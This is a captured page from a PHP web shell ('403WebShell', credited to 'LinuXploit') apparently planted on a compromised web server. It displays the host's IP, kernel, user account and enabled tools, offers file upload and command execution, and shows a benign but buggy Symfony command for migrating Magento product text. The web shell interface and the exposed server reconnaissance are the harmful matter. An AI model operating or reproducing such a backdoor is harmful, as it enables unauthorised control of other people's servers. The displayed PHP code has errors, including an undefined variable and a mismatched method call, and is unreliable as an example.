Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Console/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Console/MigrateProductTextCreateCommand.php
<?php

declare(strict_types=1);

namespace App\Console;

use App\Controller\Api\ApiController;
use App\Model\ErrorsModel;
use App\Model\MigrateMagentoProductModel;
use DateTime;
use Monolog\Handler\StreamHandler;
use Monolog\Logger;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class MigrateProductTextCreateCommand extends Command
{
    protected function configure(): void
    {
        $this
            ->setName('migrate:product:text')
            ->setDescription('Migrate Products Text Magento DB')
            ->setHelp('This command allows you to load products text from DB Magento');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        new ApiController();
        $migracion = new MigrateMagentoProductModel();
        $products = $migracion->getTextProducts();

        if ($products->num_rows > 0) :
            try {
                $start = new DateTime();
                $output->writeln('Start: ' . date('Y-m-d H:i:s', time()));
                foreach ($products->rows as $product) {
                    $productData = $migracion->getProductText((int) $product['entity_id']);

                    if($productData->num_rows > 0) {
                        foreach ($productData->rows as $item) {
                            $item['entity_id'] = $product['entity_id'];
                            print_r($item);
                            $migracion->insertProductImages((array) $item);
                        }
                    }
                }

                $end = new DateTime();
                $output->writeln('End: ' . date('Y-m-d H:i:s', time()));
                $total = $start->diff($end);
                $output->writeln('Time: ' . $total->format('%H:%I:%S'));
            } catch (Exception $e) {
                $this->debugError($e);
            } 
        else :
            $output->writeln('No new data');
        endif;
        return 0;
    }

    public function logError(object $error): void
    {
        $log = new Logger('MigrateProduct');
        $log->pushHandler(new StreamHandler(__DIR__ . '/../../logs/products/migrate-error.log', Logger::ERROR));

        $log->error($error);
    }

    public function logInfo(array $info)
    {
    }

    public function debugError(object $error, OutputInterface $output)
    {
        $output->writeln('error');
        $output->writeln($e);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit